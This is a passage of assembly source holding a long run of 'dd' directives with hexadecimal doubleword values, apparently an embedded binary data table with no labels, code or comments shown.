97451F8Ah, 2514900Bh, 18E45960h, 0B5D01744h, 4BEA007Fh dd 1626A3CFh, 0C000BEA6h, 0D8624F20h, 1E7AADh, 90ED1CC5h dd 97753CCh, 0A6CEFC00h, 0B20395D4h, 0BBD2067Fh, 21C054B8h dd 4139E800h, 6456C167h, 26F0020h, 329DEF4Ch, 0A0033F29h dd 2A67062Fh, 19100035h, 3836C4B1h, 5D00432Dh, 4C5E9588h dd 4965B3h, 87E31F89h, 9E3A5CAAh, 0E5788600h, 9D701EEDh dd 0A2790003h, 0B347E0FBh, 30000E34h, 6A349A4h, 0F782A0h dd 0CFD98C93h, 2E14E4F6h, 0BF0050E0h, 0EF202832h, 285C63Fh dd 36F55553h, 0FC808349h, 0A07E4250h, 0DA2EA71Eh, 0F7CA1B83h dd 68C0DF8Ah, 0BF14E8h, 0DE50A8BCh, 736BB9C8h, 80B5270Eh dd 68658397h, 4724C067h, 0C369033Eh, 4C22405Ch, 0AE1D80C8h dd 3CA5DE00h, 94FDEC4Ah, 6BA40742h, 2FDA7D10h, 6300808Bh dd 6F9802CBh, 0D900BBEEh, 6C2EC8Fh, 0E8FFB2C5h, 7C9791Ah dd 0D652F01Bh, 0C37540EEh, 2A1EEABDh, 0FF5F4E14h, 20E051CFh dd 0ED3C5984h, 0F5E2004Ah, 0C125D6FBh, 21001F20h, 708F8E6Bh dd 0BB1480h, 0D363501Dh, 0D541A775h, 0DEBEDB0Bh, 11420001h dd 2B7B0Fh, 0C9333B66h, 20E25E72h, 3952D603h, 907A2477h dd 147D38CAh, 0AC05F01Dh, 0B2684B00h, 0DA4C45Bh, 5EBDD900h dd 0A1089A7Fh, 5C4C3DB9h, 0E51F7D81h, 60F2F359h, 7113A026h dd 0CF0C7CFAh, 5BEA218h, 26C70C8Fh, 64A500D5h, 8C6A0DE7h dd 80D1B53Dh, 6535774Ch, 7F66B718h, 63EA1D58h, 0D2A5CFA1h dd 301E2340h, 2A00288Bh, 44EBE5CEh, 0AD5D7Dh, 212D9376h dd 25B23A82h, 20E93D00h, 66F5E81Dh, 8CE892h, 2B2DF1EBh dd 46013ECEh, 33AFC800h, 0B88DE25h, 49A9003Dh, 0F3D17BABh dd 5F3DE7CEh, 0FE840014h, 24BA02D7h, 91E2D3h, 8F177274h dd 60ACEB1Ch, 7ADA7300h, 69D77190h, 0A6D03250h, 0AEC0AE11h dd 79799AF7h, 1C5D7600h, 7E528245h, 8F081E8Ah, 68F382A8h dd 9380A9FCh, 534781D5h, 2739FFA0h, 0B16B4100h, 0C3862638h dd 177C0274h, 6D554AC6h, 0D145F0A0h, 0A112B5D7h, 9303E382h dd 88B41471h, 7332784Ah, 81000C6h, 0CF3C8976h, 2385DEDh dd 7D5300B3h, 1CA882A9h, 429000E3h, 0FA76133h, 0B300C198h dd 58AC9FCDh, 0FF901E6h, 7B62D2C4h, 0DA4128A3h, 0A5114488h dd 9FBCDE03h, 0D8817488h, 27CF3Bh, 0D9B39623h, 8E7B5F48h dd 616FAB0Fh, 3080BC8Ah, 0D57AFD7Fh, 0E6FEF6FCh, 287410h dd 825A1C34h, 54409D19h, 2DAE5E07h, 2410BB72h, 0EA0D95h dd 3B207E25h, 0B2D8E41Dh, 1F07CC7Fh, 49808F26h, 0A71B5360h dd 471C0046h, 327B6BF0h, 40359C8h, 3FC14066h, 0B446D82Ah dd 3B5C00A2h, 1BBA0376h, 6C7A0520h, 3C686200h, 7A38E257h dd 9EAF3E94h, 0CA354280h, 0BA21400Ah, 0FF8CB400h, 0AFDBCF83h dd 42BB0067h, 111037B7h, 0DC00656Eh, 345589FDh, 267B8264h dd 664F4Eh, 0B4C83A1Ch, 0FE006984h, 99565C5Fh, 41B946h dd 0A9CC6FCEh, 5949567h, 0DE8CE51Fh, 0F3FD627h, 2D8123FCh dd 2073012Fh, 0E5008D9Eh, 2B974AB6h, 314135h, 48323A72h dd 47D253Fh, 0B5B4F800h, 0D3666BFAh, 448A00A9h, 527EAB7h dd 9A0659E3h, 6C2BA34Ah, 54077720h, 83887Eh, 7BC5A8C8h dd 5E59C38Ah, 7A10FCE7h, 0CA279C02h, 40A21C92h, 31E0C8h dd 0CCFB5DC9h, 18450386h, 8B01B4B0h, 0EAC250FFh, 9040667Fh dd 5FA7E7h, 6BD5DD81h, 0C405FA6Dh, 0EB00B2ECh, 12A0BF9Dh dd 7B382AADh, 2ED91F66h, 45C640CDh, 3EB148F8h, 191C1D0Fh dd 752520D8h, 80E23C91h, 6C002337h, 0E779B24h, 1D6D27h dd 7063AF1Fh, 0A1F25CA7h, 4F666A00h, 169EB964h, 918F0EADh dd 3289F8FFh, 15623000h, 3AFC3747h, 98F0F300h, 0DE57EA70h dd 25753E7Fh, 0B30EE203h, 47F01EB4h, 623AF866h, 80F6BD77h dd 59BD4B6Dh, 4CFB1DFh, 1E0607AAh, 91BE8712h, 0ECCA7CD3h dd 30003BA4h, 0DF3AA17Bh, 38F60F7Eh, 4781BE06h, 84C23944h dd 0E018F1DEh, 720E12AFh, 4034E90Ch, 0D63303E8h, 1A2501F9h dd 2F478DD8h, 0E27DC414h, 526BDD00h, 0E4D2C0CBh, 0F0D0002Dh dd 621B1CCAh, 5D0F975Bh, 0A082C2AFh, 0B3FAD7B8h, 0F76E1C01h dd 203080CBh, 0B1E5AE2Bh, 555AA200h, 91C475CAh, 3C2C055Bh dd 85E27FECh, 9B300005h, 0AB8F6D95h, 0BB898304h, 39C07307h dd 1430D9DFh, 0D8C139CBh, 0F110D100h, 0A7D5BA7h, 20B8D326h dd 0CDCC0038h, 0B3B1E79Ah, 66989Dh, 0ED7213ACh, 0CFB0A31Dh dd 42BDA717h, 93C300ABh, 81EFB831h, 0E0C7E63Dh, 0AB6830D6h dd 6EFE4Ch, 44C5299Ah, 0F3B6ED6Fh, 0CF065C00h, 0B73898B1h dd 0AEC300A0h, 1EAB8AF1h, 0BD035697h, 81F4D2CBh, 9DA6A0FDh dd 1EBA7337h, 1DCFA5C4h, 8A410097h, 1C5735B3h, 3916D018h dd 191FF8h, 73013F2h, 0F77C3FDEh, 5427F500h, 6E51B45Dh dd 7ACD3946h, 2B749480h, 565E01E0h, 796AED00h, 2E515083h dd 37260669h, 4AF94525h, 80A9F8CFh, 0BDBCA63Eh, 54D3043Ah dd 0C0C7A7A8h, 3639CA58h dd 0DEE01900h, 95E6804Ch, 6C9A51h, 4BE4BB4Ah, 6F07DD0Fh dd 3C7363Eh, 0AD6BE15Bh, 0CA28C062h, 50F70495h, 80F97E19h dd 651EC4D1h, 54E05C04h, 0F0C1A16Fh, 71D9EB8Ah, 4B141C4h dd 0EA2633BBh, 36C8C031h, 0C70063FBh, 0A0AB30E2h, 0E4A2E49h dd 0E5D2D046h, 4D9009Ch, 96BFEBA2h, 0C3279800h, 0B4F08369h dd 2D0800EDh, 35AFD958h, 4D1497D4h, 0A83A6Fh, 0AB7A7107h dd 26DFD7h, 1ECFE3D8h, 3CB53BFDh, 8015E73Bh, 0ECAE12F5h dd 0C803FCh, 94EEA6D9h, 0F81B9DC2h, 43B62900h, 0DF6D0F0Eh dd 14082060h, 0D4B70105h, 94457936h, 6AC08A17h, 0B2E931h dd 25616266h, 0AE5F0F1Eh, 0A4BE1C00h, 0C0771F98h, 84B10368h dd 796EC68Ch, 1395F880h, 22B54301h, 523FA545h, 0C2F820h dd 2032E1D2h, 4D68DC77h, 9ABA6B00h, 0FC8889C3h, 6C30EBC7h dd 0A1A60FECh, 42A701B4h, 9400EB31h, 807F899Eh, 9334D700h dd 0FE994ACDh, 0E877005Eh, 0B4C2EA6Ah, 0E0A15F47h, 8C10801Ch dd 7781B72Bh, 0D9AF003Ah, 65B4B856h, 0E605E033h, 8CD26917h dd 0F2E36CC0h, 8880000Eh, 0BFFE27A3h, 2C00EE9Ch, 1F9F4E65h dd 27EEF02h, 86935113h, 1CC8CE4Ah, 3CFE334Fh, 2F452C00h dd 84592010h, 6AEE21h, 515DF394h, 961A1929h, 9D21F3h, 46B6FFAEh dd 0F90E3302h, 40C06E05h, 0B0406D10h, 25883C28h, 1CAC8F00h dd 6304F68Ah, 9A5D5500h, 0BB36C756h, 5B0E0C0Bh, 6F21151Dh dd 0C4D75004h, 2C0F049h, 7FD43F2h, 0D98BC761h, 0A296C055h dd 12E8B4C1h, 940654B0h, 463F52F5h, 804B0011h, 0C637A4BAh dd 0CE786783h, 3A267000h, 4E2F4364h, 37500A5h, 21DC7813h dd 0C8008C19h, 5B9DA07Dh, 0B537C0h, 9472F539h, 0B1BA845Ch dd 2B8DA31Ch, 6E4926C0h, 1BC97B5h, 6264271Ah, 0E09FB6E7h dd 0A4124245h, 0DC0795CBh, 8830A2FBh, 135D89ECh, 73911Fh dd 0F390BC2Dh, 6804F9ACh, 9C0A5683h, 0C8D82880h, 0EDB100D6h dd 2B6FA49Dh, 4CFAB7ADh, 0AA00CF73h, 0CB36786Dh, 58163Fh dd 0D98C6867h, 0B2EAC39Bh, 0BD266E01h, 369EBB32h, 89A2D4h dd 0B170F79Ch, 86089D4Ch, 0B600D271h, 97B861D3h, 2ACB51h dd 0D9C26CDDh, 2B307099h, 1F1B0512h, 0DCDA8000h, 20318D3h dd 0EC39BD42h, 0E960D8B0h, 9A0EA04Eh, 60F9E553h, 6BB6E675h dd 52D90430h, 80932D1Eh, 0B4674B6Ch, 43AF3900h, 0F42142ABh dd 4F0E1FD8h, 400F1760h, 5E31C738h, 0F658BF35h, 0FE3209D0h dd 0D9400BAh, 0A3BCDFh, 7F5880C4h, 3D763620h, 213C8200h dd 97226C16h, 30F001Fh, 0E5589615h, 0D4076047h, 848ED365h dd 62B0C177h, 9AC7ECh, 340A9E93h, 92B2A94h, 0BE6CF900h dd 3BCF1F12h, 5814EC5Dh, 80173F98h, 0ACC100EEh, 0F5D78583h dd 73A3600h, 15220A0Bh, 0F8740492h, 80119176h, 2CB75638h dd 10FDF200h, 71A826D9h, 0B5FA0Ch, 2594C2E7h, 90ADC47Bh dd 6CC6D824h, 0FAFEEA01h, 90AE43BFh, 0F3A98B9Ch, 8D4CEE02h dd 20AE42F5h, 5BD93D98h, 0D68300B6h, 1E65952Dh, 6730A3D3h dd 1A6D80CAh, 986E50E7h, 7D8B8A2h, 0A1EAD45Ch, 17BEEDh dd 0E90631BCh, 0DEF88FE1h, 58DAEF00h, 65FD26FAh, 7ACA090Ch dd 5C0F4535h, 99DF4100h, 1601BD96h, 3B114EDh, 0AC40FBCCh dd 0E4C00227h, 70FC012Ch, 689EBA45h, 6EA8209Ah, 0D6E61F01h dd 42A88CAh, 0E49D78F0h, 0B3CB0012h, 0EE109392h, 68C01399h dd 60889091h, 0A0DF051Ch, 0C04AEB14h, 0B8B748B8h, 95DB4300h dd 0B6F777E6h, 6C7F90h, 4D01076Ah, 350D5A9Eh, 3EB7110Ch dd 0E6E072h, 0AF60DDC6h, 86788BD4h, 0F800414Ah, 0D703E939h dd 6A8B28Ah, 17C567BEh, 0B00F2150h, 80C93879h, 0D38BDB68h dd 882B003Dh, 4833A0D4h, 6D0BDA3Fh, 3CD646h, 9859C537h dd 41216165h, 0CC620919h, 3F4824A2h, 0D7097B96h, 40CFBB95h dd 0EFD47A4h, 6949A79h, 2CBF1DC3h, 21431803h, 0A8C07FEAh dd 3CD4E4h, 683136B1h, 0D47964Fh, 91616B00h, 769A752Fh dd 69FC003Bh, 0B68B7AA7h, 0A05199B5h, 4ECE4BCh, 0A501A3F6h dd 8F3DCA27h, 48742940h, 0B7770086h, 0FE3A7550h, 0AD01667Ah dd 54C3CB63h, 0A050169Ch, 90C29065h, 40F014h, 0EE3BE18h dd 0E8E0A54Ch, 0BD8DDF02h, 40240F86h, 41C8F8h, 4AC3EB87h dd 1DBB6EF9h, 4D3460C0h, 0B08FC63Eh, 55E40017h, 49276D32h dd 8500C550h, 46CCB1E3h, 304EF84Ch, 713979EEh, 0B8001A2Fh dd 8A33CA2Bh, 4C37906Eh, 2E3A7CCBh, 17036580h, 3FCF811Eh dd 0AEE77603h, 0A0914FE9h, 0B707F40h, 32C4BABCh, 80A15884h dd 2D8F07A4h, 0EECAEA18h, 1C97A98h, 5315AF0Fh, 92708B48h dd 1804D1F8h, 90B0E7E0h, 8CF700C1h, 0FE7B4C90h, 0D1FA2C80h dd 8CB1313Dh, 296757DEh, 1F3F0050h, 0B092586Dh, 0C7037DE8h dd 6011C161h, 0E0BAF2C2h, 4941214Bh, 9C28146Ah, 0D6500080h dd 822B0A68h, 0BC0065BFh, 0B00C1EB5h, 790B99A3h, 0F2FDE025h dd 0F5892C5h, 907569C0h, 155809DEh, 0E6B39424h, 30F2005Ch dd 0C9948A90h, 60E60C99h, 0FE21F8CEh, 44072890h, 5B52BBEAh dd 80308D72h, 0D1FA90FCh, 0D8B0060h, 0DB0E22C9h, 0E9036DABh dd 57DF3F84h, 5F17570h, 4FE69AF5h, 0EE9860D6h, 8D00201Fh dd 68075642h, 1C26A433h, 599A0A7Ah, 20F469A1h, 0A8B04EF0h dd 2E6AB5Ch, 0FF63D510h, 9E22E01Bh, 55AF093Eh, 0BC107981h dd 4F01E1DFh, 0A9DA7408h, 98349350h, 2DD00063h, 0CD043C6Ch dd 31009BAEh, 16C687EDh, 0CBCEC23h, 69507754h, 98C037A0h dd 0F6C3301Ch, 0F75D33EEh, 0E0F9C636h, 20A6F0ECh, 69598A0Bh dd 0B9C40095h, 24CC5A63h, 1740A0C7h, 80401EF1h, 48F48DC9h dd 9057E90h, 0A07853E1h, 0CA7CB0C0h, 8E7086h, 0BE61DAEBh dd 64EC4FF1h, 0B8F3AA2Ch, 7203B00h, 17B721Dh, 3DDE3169h dd 508EB654h, 0CFFB2390h, 5C8D5A06h, 288CE2Fh, 0A149BEA6h dd 74708136h, 37AAA0C0h, 18F7EDF2h, 80A48F78h, 0D70097C6h dd 44B09AFBh, 6036E854h, 7904582Eh, 0F89C4580h, 4A335001h dd 6FC47739h, 10A549E1h, 0A960AB01h, 205F2410h, 901D42AEh dd 530083CAh, 6709B971h, 64EE0089h, 0DD608D1Dh, 5F0062BFh dd 742CF73Ah, 0DA9518h, 0E22BC451h, 0D550B9DFh, 1300AFB0h dd 0E78B8EBDh, 336A4ECh, 58BA4337h, 0D1E9CE93h, 9F80805Ah dd 0D44AFCF4h, 90905857h, 0C1A4B900h, 0A7B61F4Bh, 8CF81A00h dd 0B82DE402h, 0F9DCA028h, 906E48B5h, 0B7C0E500h, 21C42E73h dd 0FF0AE701h, 48BD6503h, 0B411D682h, 4055F6D9h, 7D27A75h dd 27CD982Bh, 3D926157h, 80AC47DBh, 96FDCF8Eh, 0FF59300h dd 2140D981h, 4D7FF202h, 0C50038D7h, 2BECFB1Ah, 0E2013946h dd 0BAEF553Eh, 0C8D0AD7Dh, 0FE7D1Fh, 0E5BB3CB3h, 60F9F07Ch dd 20B4309h, 20B08EC1h, 5E6FE28Fh, 8BCE0B55h, 0EE00654Ah dd 1D20C372h, 0B9F9E0Eh, 63122046h, 66EE7Bh, 0B41A324Eh dd 97402337h, 803A9E3Dh, 0D65693A5h, 1E2EDDF9h, 409106FCh dd 19FD68D4h, 0D80076FEh, 141BF77Ah, 7308EFh, 0E52F1104h dd 0A4239BE6h, 0A9DD0100h, 7A31DCD8h, 1137001Ch, 8EC39783h dd 0BD004348h, 0DFA71544h, 14D94DE4h, 0A82B7959h, 8B5D4E01h dd 0E008E0C3h, 3E0798CDh, 0B25C7291h, 77B91D40h, 0F0D043Ah dd 0C01A2460h, 27DE30CCh, 0A77C9601h, 9D25440h, 4FBB3860h dd 6ADC220Fh, 4D7553C0h, 0E7BC4C00h, 5980513Dh, 581900C6h dd 7AAEA1A9h dd 0D4B08C5Dh, 24B5ED48h, 0BE002447h, 9467B63Bh, 0C80F0AA1h dd 0D331C5h, 305BE477h, 2398DDE3h, 4E06807Ah, 7332E676h dd 0C3170048h, 34DFD8DEh, 867C1D75h, 0B8FA6401h, 5DE3222Eh dd 9837C08Fh, 0B67BBC80h, 0EA00A0A1h, 9D18F0B1h, 3D16F9Ah dd 94AF2B8Dh, 0D2C0074Dh, 8700F27Ah, 502F3DFFh, 0B89D35ADh dd 1FEF4BA8h, 0F9F180B8h, 0A65F582Bh, 4F645701h, 35BC7F9Eh dd 0EE9669C8h, 77924C74h, 48837900h, 156F2659h, 99214200h dd 0C135A977h, 0EC8F008Dh, 0E88E15Fh, 8101ED72h, 0A8D05636h dd 27E09CC2h, 96B279CFh, 10BD0BD4h, 3A70944Ch, 8465F900h dd 7519A064h, 9B210ED8h, 0E220380Ch, 0BACA2801h, 5B3D9800h dd 1CF826FFh, 3C03070Bh, 0DEBD908Eh, 31F90FA0h, 0A63DB3CEh dd 6F118056h, 0D5E7DC2Ah, 12DF424h, 6BF63C08h, 0E0CE25D8h dd 0C204382Eh, 7FCFF7D4h, 404A2480h, 0D9591EACh, 0B746000Bh dd 0F7D8516Fh, 0D0032890h, 97FD3750h, 94EBE0B8h, 0C1D20008h dd 36CA69AFh, 0B30F5F33h, 0EB3B3435h, 6268AF72h, 5AF546BCh dd 1B200044h, 1780BDAh, 923A3608h, 0EA5F8B6Ah, 0F4128038h dd 3AC225h, 275D0E11h, 4F91F5E4h, 795B4A00h, 0FC54CCEBh dd 45ED0071h, 0DFE9187Bh, 0A21FEAADh, 167C7AB2h, 0A8007E7Dh dd 28120CE8h, 37B83D79h, 0A40DDF00h, 0BB5278FCh, 1BDED405h dd 0B887126Dh, 0EC2B8B10h, 0D0A60428h, 90862F9Fh, 5AE930F8h dd 240072EEh, 18017E4Ch, 1332634h, 731E444Dh, 0FF5C50BDh dd 4C6B41B0h, 4A1C400h, 7BB8D913h, 75DE00E2h, 0C6353F6Ch dd 49072082h, 0C36158CFh, 5B8BFD10h, 64030039h, 0DA7A3E75h dd 0B9004090h, 0F84811FCh, 0F6B776C2h, 20F5A17Fh, 71610880h dd 0D4E588E8h, 89EB6900h, 8D128387h, 5CFD0F55h, 7BC04608h dd 8B8A151Ah, 83E6E800h, 0A7FAEC9Bh, 0D15607B1h, 7028D355h dd 0BE2FDE43h, 81F06C07h, 6B001B8Fh, 0FA373EA4h, 63C7EC51h dd 49F47163h, 8C774797h, 0D51D83D4h, 0DF1D8472h, 2E94AA1Fh dd 92690010h, 64C3E863h, 0DBEA3A5Ch, 1C20403Bh, 1023E630h dd 1F602994h, 8ADC2476h, 83202CF5h, 0D3E6638Ch, 0D46CF7E0h dd 0E04D8406h, 5C2070A0h, 0DD003BE8h, 744E897Ch, 0F0E86424h dd 0DE84B303h, 0A033D3C4h, 0A9C36B4Dh, 4C0C2D60h, 92D58407h dd 0ED908E47h, 0E89454h, 0CBCA3A9Dh, 0AAAFBE8Ah, 6CA00A60h dd 0A338B7h, 6A501AEDh, 8210356Bh, 0AD1F9809h, 89CD037Ah dd 37FE069h, 0FDB81F5Ah, 71600086h, 0DAEDE8A0h, 38207260h dd 0C06E6110h, 0AA5F7A90h, 89604603h, 0ACC92630h, 0EC623880h dd 7004D387h, 0E40CCFEh, 0A778416Eh, 9881DCB8h, 69E09049h dd 0A60C30BBh, 73A07740h, 0F1907154h, 244E1913h, 0F746E806h dd 9A163F9h, 89E610E8h, 0E5603DECh, 7C393A51h, 0C05B711Dh dd 72D37F70h, 8606BFAFh, 87938176h, 0F52E0141h, 0E36D0BB2h dd 1448BE69h, 1BA21F1h, 7A7D9EEAh, 989FAA73h, 36958122h dd 0BA38E999h, 71EE60h, 0FD67D77Dh, 923438A8h, 0E87EBB00h dd 0F9ED0360h, 1F2FC401h, 57667F26h, 6124093h, 89898F91h dd 17306858h, 5501EF0Dh, 8D2107F3h, 218073D1h, 5A305445h dd 0B4EE55C3h, 11E9EF0Ah, 79028CF3h, 0C06203B5h, 2B867Ch dd 5588E7CBh, 0A2C8F634h, 6182ED14h, 3E16984h, 0C608D33Ch dd 12417830h, 40769038h, 0A8D99730h, 0AC0CDE20h, 9F484D3h dd 3721C093h, 0DE2BA8E1h, 854B1D12h, 0F3ED0807h, 23FD9453h dd 23260551h, 0F4DE1D05h, 222828h, 42FEA8DCh, 3F13C138h dd 99A901F9h, 9130DE00h, 1A259403h, 0E044CDC8h, 25F09h dd 62AC9F5Ch, 71C50181h, 86B9D807h, 0EF73BDB2h, 0CD80CD26h dd 523688h, 0DEE5835Ch, 7BF73B53h, 1569E400h, 3DD32CACh dd 23F40062h, 0B2CB2491h, 0C41F65D2h, 0DDC06F61h, 41E4CA8Eh dd 3B4A00E8h, 0D3042EC7h, 0D4094BB0h, 80C57B01h, 6510D13Ah dd 6A713E9Ah, 0FB46A6h, 4E860631h, 88EE89FBh, 2B3A7F00h dd 0E638F695h, 0A2D1F502h, 7536F4h, 5806D901h, 654607BBh dd 42BFFF00h, 0FB6EC29Ah, 1E4C3785h, 7108360h, 5BD01AA8h dd 9BBE6B3Ah, 0DB18E98Eh, 0ED5FD8A2h, 0D3FF039Ah, 32E2D5FAh dd 69511BF8h, 3964C800h, 0D49E5C40h, 0ECF9189Fh, 16588E1h dd 64484609h, 58067FC4h, 316919D0h, 7801D522h, 86D5602Fh dd 2798D3E9h, 58AC0391h, 0EC531751h, 922B0D90h, 1065D328h dd 5D58AE08h, 0EE3F001Ah, 0ED6DCB63h, 0BCF08403h, 0BEB8CCDh dd 76AC2BC1h, 3904480h, 19C0E5A7h, 0D831830Ch, 0DE413B3Ah dd 11434480h, 13CA6130h, 57E6C000h, 0D0C50222h, 0C321000Eh dd 71B6174Bh, 0F91D3648h, 8E004F23h, 473E6E7Bh, 0EE50193h dd 0F6CD786Ah, 35C4D069h, 580020D3h, 0BC792647h, 0E9C71F31h dd 1BFA4BFh, 0C68C8E18h, 4E288021h, 0FB30CB56h, 17B106BBh dd 8C9A352h, 208A7F30h, 30F2E1h, 0B42CC781h, 504F28D7h dd 1F27C600h, 0B826DDFBh, 0A3932671h, 244007A2h, 364E6006h dd 8D00F8E4h, 513F18B7h, 1B3CC430h, 888EC7D1h, 904EC932h dd 30CF3080h, 0D1BC1711h, 0DD808288h, 0F91230F6h, 29C5005Dh dd 0BF31B2F8h, 7230F0B9h, 0E1346859h, 4846E0A7h, 0C0744354h dd 0EB9D8E90h, 30001DD1h, 0E44176A1h, 15857A7h, 0CA227028h dd 30486E44h, 85005D3Dh, 0B3E771B4h, 0F3F62D8h, 9B7C4024h dd 0E8576006h, 0C73C1F00h, 0FF7A3966h, 61101DCh, 67608B46h dd 53FD3072h, 80861C3Ch, 23EE7E7Ah, 25EC258h, 0C413D7A8h dd 72C30D3Bh, 3155D898h, 700E38h, 43A3F08h, 74819EFh, 0CE62BFE4h dd 29A3037h, 0E0F28382h, 8BEE801h, 0B236AFDh, 56E07F8h dd 65B75330h, 4CC0EA47h, 0EF1611h, 0D04C54EEh, 0E1775BA9h dd 0DC5D900h, 0C8FD426Ah, 0C420004Bh, 1524E675h, 0A916B28Bh dd 0D40CC956h, 3B2218B0h, 0C100EA23h, 5B9728D9h, 0BD1843F7h dd 0F459562Bh, 0F01800CEh, 26F624DAh, 0AD7E44EBh, 6000BEAh dd 35CF54D5h, 0EE4B60EEh, 0C0C274F1h, 78B44C38h, 4D3BE7FDh dd 0DD621D41h, 0DB49A781h, 52DC1465h, 0ABC300F3h, 88B773CAh dd 24019841h, 0BF655EC0h, 0EFFC56CFh, 28C1C09Fh, 0E5B56683h dd 6D20CE00h, 9009A31Fh, 0D33331F7h, 0E0EF4CD8h, 6F00D2A8h dd 0D9DAD5A5h, 0BE54D7h, 66225C69h, 0D4F9ABC1h, 0DB2E60Dh dd 1EECC1E3h, 0FAB30CACh, 7E88D64Bh, 0E2AE9306h, 210A8E7h dd 555A4651h, 8CA0C353h, 1A2BD9CBh, 406F9F7Eh, 4B3B80F0h dd 0A3B236h, 0C4D46221h, 2008CCECh, 8BDE2D00h, 548347DAh dd 0D0CD3E25h, 9AC4448Eh, 40FF3967h, 82950152h, 7465E00h dd 493440FEh, 6B2C3D08h, 7D4D1882h, 97609913h, 5500F875h dd 46B7B301h, 78042AE4h, 9B190731h, 13D98C08h, 0ACF005D6h dd 0D81668FDh, 420376BFh, 3779588h, 12C63149h, 0C7B825DBh dd 0F4008C44h, 85C58003h, 1CE633Dh, 31D4FAD5h, 0F476AA54h dd 2C601728h, 0A6AFA769h, 1FC00005h, 5263B382h, 0DB7A0ABFh dd 315C9500h, 48A1EED2h, 1BFF06DFh, 0E89228BDh, 3596D600h dd 0A5190653h, 0B10344B0h, 5BDDB700h, 0EB8EE1A4h, 5C8A00A9h dd 71FEE67Dh, 0EE00C9E0h, 0BBA7D7AFh, 71E7FC94h, 1CB27AEBh dd 0C116BC24h, 0A460E038h, 448A1DFh, 60BFB170h, 368710D0h dd 811DABB4h, 8D07EFF2h, 88D0B8DDh, 0FB17DC0h, 0A6E9C2D5h dd 2962BE1Dh, 7A21AC43h, 0E902C15Dh, 0AC6FB913h, 0C3123702h dd 0CD511098h dd 8C3100D5h, 7487EC4Ah, 63380116h, 0FB24BE65h, 1D26D8BFh dd 56B4B700h, 23CDF0B6h, 965F0097h, 425ACA32h, 0B303677Ch dd 0A55563A9h, 8F06803Ch, 378B092h, 7F3D1B9Bh, 0F0785C23h dd 12B54B00h, 26A085B6h, 33C0F9Fh, 0B140B2CFh, 68B8A36Fh dd 4EECA25Eh, 5E886D00h, 0C6D71DA7h, 78003073h, 69539CEBh dd 9F4ABCh, 6FB086D4h, 0C6742885h, 9AA582Ch, 35A9FA00h dd 1C8D0956h, 0C02F125Fh, 616C0531h, 6A00B73Dh, 703E5080h dd 0E8A664h, 518B1CCBh, 67A85C9Ah, 0D388EE01h, 5E5A22D9h dd 7D25D440h, 261C4802h, 4AB19903h, 7A1C8ED7h, 0BAC01254h dd 28B4ED10h, 0BE5FCCEh, 212331C6h, 4B803700h, 0E100870Dh dd 34446625h, 866ED8h, 0C22F4915h, 5B6A73A3h, 0D3FC3F00h dd 0EE37ACB8h, 289900DBh, 756FE9F1h, 7F007B2Dh, 3C8D8C0Fh dd 8A7EAEh, 0FD3D869Ah, 32F1ED1Fh, 1A00F6E0h, 1E7125Dh dd 90A7F74Dh, 1B4C012Ch, 85589C1Eh, 7473F8E6h, 0B104E00h dd 2DD67950h, 46C53907h, 139D8000h, 23696FA7h, 0D16A9A00h dd 0F73FB72Bh, 0F809853h, 0A1D6F00Ch, 0AB5159A0h, 0E4E5ECAAh dd 6D004FE2h, 979B201Ah, 1E1738D0h, 4BB4819Dh, 2383CB8Fh dd 1C88D3Fh, 1071886Eh, 4008CFAh, 0D6ECF256h, 7B1C5D8Ah dd 0B5030069h, 43E22506h, 4100A83Ch, 0F1BB160Dh, 66D62Dh dd 3B1062ABh, 266BDBDEh, 61C34F03h, 9881EFF7h, 4CAB905Ah dd 0E400BB5Eh, 35D53894h, 9F009E3Dh, 0ED74AAE2h, 13177Ah dd 5E041EB9h, 4385DE6Ah, 95D64700h, 0CEB62C8Ch, 56DC005Bh dd 68548B58h, 34003D10h, 757E2350h, 0F64083h, 27C49192h dd 5FC0BEF0h, 48679C00h, 85C7E770h, 291D0081h, 0A34A3CB3h dd 0F800F691h, 0C4A86B84h, 0A0517BBBh, 90A05DA3h, 0C0821F30h dd 9A794738h, 0E9C650D3h, 6E0011EBh, 6C7E8D04h, 7AAA0Fh dd 27924577h, 1A53C80Ah, 56F2F104h, 0DC801973h, 72A546Bh dd 0DD0D8802h, 27CD206Fh, 73E02128h, 13235612h, 0A41DB40Eh dd 0D9802F80h, 7882F3h, 96AFFD7Ch, 1224C76h, 4895071Ch dd 0F9E0A0C0h, 1410C7DAh, 0D4CE7058h, 0C0D4E31Dh, 87AD377h dd 1201638Eh, 0BA34C640h, 8C30829Ah, 0F45FC87h, 0C9A8A737h dd 0D1479BE0h, 4E003502h, 0EA06BE5h, 6081D4h, 2B386DDEh dd 0E17817B0h, 30257600h, 0BCC784DDh, 46E3009Dh, 59B54DA6h dd 5D01A510h, 7B04C30Ah, 807F2C09h, 0F6239439h, 485BEA00h dd 771B8BBDh, 67C0043h, 0F04CF383h, 0C800818Ah, 0B703A960h dd 169712Dh, 0C027337Dh, 0CC7A5EF7h, 57394AD3h, 117380A5h dd 0E60F31B3h, 606D02C5h, 0E833B8DAh, 775AAE40h, 0FA076400h dd 0B7ABDCD0h, 2856000Bh, 43E9B9DBh, 15016C8Ah, 0FCBBC15Fh dd 0A1F43436h, 44984C8Ch, 70937B00h, 6CA44A25h, 63021900h dd 5A86850Dh, 22391279h, 1FDC01EBh, 803D0121h, 0AAEF9D8h dd 0EC155EA2h, 55BD00BBh, 0C5FE97C3h, 6B04F282h, 8C4D0799h dd 51306FBh, 71E019F5h, 63734114h, 8E1100F3h, 98A840E4h dd 4506002Ah, 55668C2Eh, 0D600DD35h, 0A54F4164h, 821986h dd 983EB9E1h, 0D5041048h, 0E340F202h, 684B7574h, 0AF72F4h dd 0A5F49B56h, 3C46AE84h, 0C504D200h, 224455F0h, 0C988001Ch dd 62C1454Ah, 0E6A0A5CDh, 7100B71Eh, 50188FB9h, 0CBB0E4h dd 77D4635Ah, 5361093Dh, 6437A800h, 3842A366h, 0DE880018h dd 0FEEAF872h, 7F01F3C6h, 0ED26FF53h, 30605E65h, 1D27F9Fh dd 17098F24h, 0EC3907D0h, 7700DD08h, 49DAFA2Dh, 98B07C4Eh dd 6BDC0267h, 57F8977Bh, 0AE94F8C0h, 9DC74A00h, 0E9F67990h dd 92C0002h, 0F79B63E0h, 4FF0DAEEh, 0B80D1C3Dh, 8FB50F20h dd 7603B68Ch, 887D01ADh, 0A2B1E5Dh, 1F17E50Eh, 76E40EF8h dd 0DCB66BC0h, 0FC30BDCDh, 9D3F3833h, 9E94001Dh, 511B3639h dd 200F0A02h, 87C3FDADh, 0F7B271D2h, 14D96045h, 0BEDA0156h dd 